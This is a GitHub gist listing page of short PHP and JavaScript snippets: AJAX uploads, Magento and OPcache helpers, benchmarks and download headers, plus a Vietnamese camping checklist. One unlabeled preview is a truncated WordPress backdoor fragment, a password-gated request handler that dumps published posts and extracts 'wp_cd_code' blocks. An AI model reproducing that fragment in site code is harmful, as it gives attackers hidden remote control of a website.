Skip to content

Instantly share code, notes, and snippets.

@phannam1412
phannam1412 / gist:f8aa3279409a9b2c2503b1fd92aafb99
Last active October 5, 2016 11:05
Ajax file upload with javascript
<html>
<head></head>
<body>
<input type="file" id="file">
<script type="text/javascript">
var fileSelect = document.getElementById('file');
fileSelect.onchange = function (e) {
// Get the selected files from the input.
var files = fileSelect.files;
@phannam1412
phannam1412 / gist:73607d49dcb12fb237962d23ba534a20
Last active October 5, 2016 11:05
Ajax request with javascript
<html>
<head></head>
<body>
<script type="text/javascript">
// Set up the request.
var xhr = new XMLHttpRequest();
// Open the connection.
xhr.open('POST', 'test-ajax-request.php', true);
<?php
class MagentoHelper {
function addSimpleProductToWishlist($productId, $customerId) {
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCustomer($customerId, true);
$product = Mage::getModel('catalog/product')->load($productId);
$buyRequest = new Varien_Object(array()); // any possible options that are configurable and you want to save with the product
$result = $wishlist->addNewItem($product, $buyRequest);
$wishlist->save();
<?php
define('THOUSAND_SEPARATOR',true);
if (!extension_loaded('Zend OPcache')) {
echo '<div style="background-color: #F2DEDE; color: #B94A48; padding: 1em;">You do not have the Zend OPcache extension loaded, sample data is being shown instead.</div>';
require 'data-sample.php';
}
class OpCacheDataModel
{
private $_configuration;
private $_status;
<?php
include 'vendor/autoload.php';
use Dompdf\Dompdf;
$DOMAIN = 'http://manga-scan.com';
function printPdf($manga_name) {
============================== cần thiết ==============================
lều
nước: mỗi người 5 lít, thiếu thì lấy nước suối
đồ ăn khô: đồ hộp, bánh mì sandwich, mì ly
nồi nhỏ, bếp cồn, cồn
bật lửa
diêm
đèn pin
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'c9c305a74573cd78066f0ac30ccd490c'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
$start = microtime(true);
$MAX = 1000000;
$arr = [];
for($a=0;$a<$MAX;$a++) $arr[] = rand(0,$MAX);
asort($arr);
print round(microtime(true) - $start,2) . 's' . PHP_EOL;
@phannam1412
phannam1412 / gist:5dc20012e05fcc9b5a6f5b79c18a2f1c
Created June 6, 2017 07:41
force browser to download file
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"db.sql\"");
// readfile('db.sql'); // do the double-download-dance (dirty but worky)
print file_get_contents('db.sql');
@phannam1412
phannam1412 / gist:706f8dc19b9ec05f3b7b89a1fb55fb05
Last active September 18, 2017 14:09
test output buffering
ob_end_flush();
ob_start();
for($a=0;$a<5;$a++) {
print $a . PHP_EOL;
flush();
ob_flush();
sleep(1);
}